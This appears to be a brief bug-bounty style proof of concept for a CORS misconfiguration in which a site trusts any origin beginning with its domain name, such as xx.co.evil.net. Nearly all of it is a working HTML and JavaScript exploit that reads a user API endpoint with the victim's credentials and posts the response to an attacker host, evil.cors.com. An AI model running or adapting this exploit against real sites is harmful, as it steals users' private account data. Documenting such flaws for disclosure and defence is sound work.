Bypassed - only the domain name check
#POC #"Access-Control-Allow-Origin: https://xx.co & Access-Control-Allow- Credentials: true". #Origin: https://xx.co.evil.net, Access-Control-Allow-Origin: https://xx.co.evil.net. <html> <body> <button type='button' onclick='cors()'>CORS</button> <p id='demo'></p> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var a = this.responseText; document.getElementById("demo").innerHTML = a; xhttp.open("POST", "http://evil.cors.com", true); xhttp.withCredentials = true; console.log(a); xhttp.send("data="+a); } }; xhttp.open("GET", "https://www.xx.co/api/v1/users/*******", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>